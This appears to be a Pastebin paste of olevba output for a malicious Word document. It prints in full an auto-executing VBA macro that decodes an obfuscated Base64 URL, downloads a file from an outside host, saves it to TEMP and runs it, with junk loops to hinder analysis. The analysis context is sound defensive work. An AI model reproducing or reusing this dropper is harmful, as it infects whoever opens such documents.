Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.25 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MAS-HB- 3020jqm.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
- ===============================================================================
- FILE: 3020jqm.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: 3020jqm.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub autoopen()
- eHk
- End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +----------+----------+---------------------------------------+
- | Type | Keyword | Description |
- +----------+----------+---------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- +----------+----------+---------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO àâïàâï.bas
- in file: 3020jqm.doc - OLE stream: u'Macros/VBA/\u0430\u0432\u043f\u0430\u0432\u043f'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub eHk()
- Set D8Hif8ju = CreateObject(ggSFhCPeLdOSshe(Chr$(84) & Chr$(86) & Chr$(78) & Chr$(89) & Chr$(84) & Chr$(85) & Chr$(119) & Chr$(121) & Chr$(76) & Chr$(108) & Chr$(78) & Chr$(108) & Chr$(99) & Chr$(110) & Chr$(90) & Chr$(108) & Chr$(99) & Chr$(108) & Chr$(104) & Chr$(78) & Chr$(84) & Chr$(69) & Chr$(104) & Chr$(85) & Chr$(86) & Chr$(70) & Chr$(65) & Chr$(61)))
- Set w2 = CreateObject(ggSFhCPeLdOSshe(Chr$(81) & Chr$(87) & Chr$(82) & Chr$(118) & Chr$(90) & Chr$(71) & Chr$(73) & Chr$(117) & Chr$(85) & Chr$(51) & Chr$(82) & Chr$(121) & Chr$(90) & Chr$(87) & Chr$(70) & Chr$(116)))
- D8Hif8ju.Open ggSFhCPeLdOSshe(Chr$(82) & Chr$(48) & Chr$(86) & Chr$(85)), ggSFhCPeLdOSshe(Chr$(97) & Chr$(72) & Chr$(82) & Chr$(48) & Chr$(99) & Chr$(72) & Chr$(77) & Chr$(54) & Chr$(76) & Chr$(121) & Chr$(56) & Chr$(53) & Chr$(77) & Chr$(105) & Chr$(52) & Chr$(50) & Chr$(77) & Chr$(121) & Chr$(52) & Chr$(52) & Chr$(79) & Chr$(67) & Chr$(52) & Chr$(120) & Chr$(77) & Chr$(68) & Chr$(73) & Chr$(118) & Chr$(89) & Chr$(88) & Chr$(66) & Chr$(112) & Chr$(76) & Chr$(50) & Chr$(100) & Chr$(105) & Chr$(77) & Chr$(83) & Chr$(53) & Chr$(108) & Chr$(101) & Chr$(71) & Chr$(85) & Chr$(61)), False
- D8Hif8ju.SetOption 2, 13056
- D8Hif8ju.Send
- Dim ÁQÇëÑÍïó As Integer
- For ÁQÇëÑÍïó = 0 To 7
- Dim ñáÑëÁwÇô As Integer
- For ñáÑëÁwÇô = 0 To 7
- Dim ËqToôÂÔè As Integer
- For ËqToôÂÔè = 0 To 1
- DoEvents
- Next ËqToôÂÔè
- DoEvents
- Next ñáÑëÁwÇô
- Dim éáÃWèÏâê As Integer
- For éáÃWèÏâê = 0 To 5
- DoEvents
- Next éáÃWèÏâê
- DoEvents
- Next ÁQÇëÑÍïó
- Dim ÄÿøÊèÌ As Integer
- For ÄÿøÊèÌ = 0 To 3
- Dim áûÐÈÝÂè As Integer
- For áûÐÈÝÂè = 0 To 6
- DoEvents
- Next áûÐÈÝÂè
- DoEvents
- Next ÄÿøÊèÌ
- Dim ÖìÔÌíÃÈé As Integer
- For ÖìÔÌíÃÈé = 0 To 1
- DoEvents
- Next ÖìÔÌíÃÈé
- With w2
- Dim qéÊîôÄòÁ As Integer
- For qéÊîôÄòÁ = 0 To 4
- Dim ÕÖÈÏQóQW As Integer
- For ÕÖÈÏQóQW = 0 To 9
- Dim ÂôìõëÔÕÌ As Integer
- For ÂôìõëÔÕÌ = 0 To 5
- DoEvents
- Next ÂôìõëÔÕÌ
- DoEvents
- Next ÕÖÈÏQóQW
- Dim ÕÇûáËèïË As Integer
- For ÕÇûáËèïË = 0 To 4
- DoEvents
- Next ÕÇûáËèïË
- DoEvents
- Next qéÊîôÄòÁ
- Dim ëÐWëêäìÔ As Integer
- For ëÐWëêäìÔ = 0 To 5
- Dim êòóÅïwÏì As Integer
- For êòóÅïwÏì = 0 To 8
- DoEvents
- Next êòóÅïwÏì
- DoEvents
- Next ëÐWëêäìÔ
- Dim îóõéÊÈñÁ As Integer
- For îóõéÊÈñÁ = 0 To 9
- DoEvents
- Next îóõéÊÈñÁ
- .Type = 1
- Dim íÇÉqåwÕÑ As Integer
- For íÇÉqåwÕÑ = 0 To 3
- Dim îÑÔWéÅÒÛ As Integer
- For îÑÔWéÅÒÛ = 0 To 9
- Dim èîôÍõóãá As Integer
- For èîôÍõóãá = 0 To 3
- DoEvents
- Next èîôÍõóãá
- DoEvents
- Next îÑÔWéÅÒÛ
- Dim êÂÉöÈÔëð As Integer
- For êÂÉöÈÔëð = 0 To 3
- DoEvents
- Next êÂÉöÈÔëð
- DoEvents
- Next íÇÉqåwÕÑ
- Dim ðõqqÈÃîñ As Integer
- For ðõqqÈÃîñ = 0 To 6
- Dim ñÓÃÒàïÇé As Integer
- For ñÓÃÒàïÇé = 0 To 4
- DoEvents
- Next ñÓÃÒàïÇé
- DoEvents
- Next ðõqqÈÃîñ
- Dim ûéQÊôíâà As Integer
- For ûéQÊôíâà = 0 To 3
- DoEvents
- Next ûéQÊôíâà
- .Open
- Dim ïwëàãÖÏÛ As Integer
- For ïwëàãÖÏÛ = 0 To 4
- Dim ïÐõôõÊÍÔ As Integer
- For ïÐõôõÊÍÔ = 0 To 4
- Dim áèöçëàêè As Integer
- For áèöçëàêè = 0 To 3
- DoEvents
- Next áèöçëàêè
- DoEvents
- Next ïÐõôõÊÍÔ
- Dim ÀÕàÄèçõõ As Integer
- For ÀÕàÄèçõõ = 0 To 3
- DoEvents
- Next ÀÕàÄèçõõ
- DoEvents
- Next ïwëàãÖÏÛ
- Dim àÛÑàòòÀë As Integer
- For àÛÑàòòÀë = 0 To 2
- Dim ÕéwÑÒõÊê As Integer
- For ÕéwÑÒõÊê = 0 To 4
- DoEvents
- Next ÕéwÑÒõÊê
- DoEvents
- Next àÛÑàòòÀë
- Dim ÕéëÌàÎÎò As Integer
- For ÕéëÌàÎÎò = 0 To 4
- DoEvents
- Next ÕéëÌàÎÎò
- .Write D8Hif8ju.ResponseBody
- Dim ÌõWÌôïâW As Integer
- For ÌõWÌôïâW = 0 To 4
- Dim åëÖïûéÊô As Integer
- For åëÖïûéÊô = 0 To 6
- Dim ÎîÀëÃÏÐÓ As Integer
- For ÎîÀëÃÏÐÓ = 0 To 8
- DoEvents
- Next ÎîÀëÃÏÐÓ
- DoEvents
- Next åëÖïûéÊô
- Dim ÕÏîÄÎÄñq As Integer
- For ÕÏîÄÎÄñq = 0 To 1
- DoEvents
- Next ÕÏîÄÎÄñq
- DoEvents
- Next ÌõWÌôïâW
- Dim òñ÷ËÔâí As Integer
- For òñ÷ËÔâí = 0 To 8
- Dim óõÅÖòÄÛÕ As Integer
- For óõÅÖòÄÛÕ = 0 To 3
- DoEvents
- Next óõÅÖòÄÛÕ
- DoEvents
- Next òñ÷ËÔâí
- Dim ÓäëÈÇÇÑû As Integer
- For ÓäëÈÇÇÑû = 0 To 5
- DoEvents
- Next ÓäëÈÇÇÑû
- .SaveToFile Environ(ggSFhCPeLdOSshe(Chr$(86) & Chr$(69) & Chr$(86) & Chr$(78) & Chr$(85) & Chr$(65) & Chr$(61) & Chr$(61))) & ggSFhCPeLdOSshe(Chr$(88) & Chr$(71) & Chr$(82) & Chr$(122) & Chr$(90) & Chr$(110) & Chr$(78) & Chr$(107) & Chr$(90) & Chr$(110) & Chr$(78) & Chr$(107) & Chr$(90) & Chr$(105) & Chr$(53) & Chr$(108) & Chr$(101) & Chr$(71) & Chr$(85) & Chr$(61)), 2
- Dim ÌõWÂÂõëã As Integer
- For ÌõWÂÂõëã = 0 To 7
- Dim ÅëìíôÐàÖ As Integer
- For ÅëìíôÐàÖ = 0 To 7
- Dim ûÀÅÖàñöÒ As Integer
- For ûÀÅÖàñöÒ = 0 To 6
- DoEvents
- Next ûÀÅÖàñöÒ
- DoEvents
- Next ÅëìíôÐàÖ
- Dim âëôäåñàñ As Integer
- For âëôäåñàñ = 0 To 9
- DoEvents
- Next âëôäåñàñ
- DoEvents
- Next ÌõWÂÂõëã
- Dim ëáõÌÔðöÍ As Integer
- For ëáõÌÔðöÍ = 0 To 5
- Dim öûÂõwÀÂÑ As Integer
- For öûÂõwÀÂÑ = 0 To 3
- DoEvents
- Next öûÂõwÀÂÑ
- DoEvents
- Next ëáõÌÔðöÍ
- Dim ÖïûÃàÀÎÀ As Integer
- For ÖïûÃàÀÎÀ = 0 To 7
- DoEvents
- Next ÖïûÃàÀÎÀ
- End With
- Set pP5hKP = CreateObject(ggSFhCPeLdOSshe(Chr$(85) & Chr$(50) & Chr$(104) & Chr$(108) & Chr$(98) & Chr$(71) & Chr$(119) & Chr$(117) & Chr$(81) & Chr$(88) & Chr$(66) & Chr$(119) & Chr$(98) & Chr$(71) & Chr$(108) & Chr$(106) & Chr$(89) & Chr$(88) & Chr$(82) & Chr$(112) & Chr$(98) & Chr$(50) & Chr$(52) & Chr$(61)))
- pP5hKP.Open Environ(ggSFhCPeLdOSshe(Chr$(86) & Chr$(69) & Chr$(86) & Chr$(78) & Chr$(85) & Chr$(65) & Chr$(61) & Chr$(61))) & ggSFhCPeLdOSshe(Chr$(88) & Chr$(71) & Chr$(82) & Chr$(122) & Chr$(90) & Chr$(110) & Chr$(78) & Chr$(107) & Chr$(90) & Chr$(110) & Chr$(78) & Chr$(107) & Chr$(90) & Chr$(105) & Chr$(53) & Chr$(108) & Chr$(101) & Chr$(71) & Chr$(85) & Chr$(61))
- End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+--------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+--------------+-----------------------------------------+
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Open | May open a file |
- | Suspicious | Environ | May read system environment variables |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- +------------+--------------+-----------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO îîêåàûâ.bas
- in file: 3020jqm.doc - OLE stream: u'Macros/VBA/\u043e\u043e\u043a\u0435\u0430\u044b\u0432'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Const clOneMask = 16515072
- Private Const clTwoMask = 258048
- Private Const clThreeMask = 4032
- Private Const clFourMask = 63
- Private Const clHighMask = 16711680
- Private Const clMidMask = 65280
- Private Const clLowMask = 255
- Private Const cl2Exp18 = 262144
- Private Const cl2Exp12 = 4096
- Private Const cl2Exp6 = 64
- Private Const cl2Exp8 = 256
- Private Const cl2Exp16 = 65536
- Public Function ggSFhCPeLdOSshe(sString As String) As String
- Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
- Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
- Dim lTemp As Long
- sString = Replace(sString, vbCr, vbNullString) 'Get rid of the vbCrLfs. These could be in...
- sString = Replace(sString, vbLf, vbNullString) 'either order.
- lTemp = Len(sString) Mod 4 'Test for valid input.
- If lTemp Then
- Call Err.Raise(vbObjectError, "MyDecode", "Input string is not valid Base64.")
- End If
- If InStrRev(sString, "==") Then 'InStrRev is faster when you know it's at the end.
- iPad = 2 'Note: These translate to 0, so you can leave them...
- ElseIf InStrRev(sString, "=") Then 'in the string and just resize the output.
- iPad = 1
- End If
- For lTemp = 0 To 255 'Fill the translation table.
- Select Case lTemp
- Case 65 To 90
- bTrans(lTemp) = lTemp - 65 'A - Z
- Case 97 To 122
- bTrans(lTemp) = lTemp - 71 'a - z
- Case 48 To 57
- bTrans(lTemp) = lTemp + 4 '1 - 0
- Case 43
- bTrans(lTemp) = 62 'Chr(43) = "+"
- Case 47
- bTrans(lTemp) = 63 'Chr(47) = "/"
- End Select
- Next lTemp
- For lTemp = 0 To 63 'Fill the 2^6, 2^12, and 2^18 lookup tables.
- lPowers6(lTemp) = lTemp * cl2Exp6
- lPowers12(lTemp) = lTemp * cl2Exp12
- lPowers18(lTemp) = lTemp * cl2Exp18
- Next lTemp
- bIn = StrConv(sString, vbFromUnicode) 'Load the input byte array.
- ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1) 'Prepare the output buffer.
- For lChar = 0 To UBound(bIn) Step 4
- lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + _
- lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3)) 'Rebuild the bits.
- lTemp = lQuad And clHighMask 'Mask for the first byte
- bOut(lPos) = lTemp \ cl2Exp16 'Shift it down
- lTemp = lQuad And clMidMask 'Mask for the second byte
- bOut(lPos + 1) = lTemp \ cl2Exp8 'Shift it down
- bOut(lPos + 2) = lQuad And clLowMask 'Mask for the third byte
- lPos = lPos + 3
- Next lChar
- sOut = StrConv(bOut, vbUnicode) 'Convert back to a string.
- If iPad Then sOut = Left$(sOut, Len(sOut) - iPad) 'Chop off any extra bytes.
- ggSFhCPeLdOSshe = sOut
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+----------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------+-----------------------------------------+
- | Suspicious | Output | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- +------------+----------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement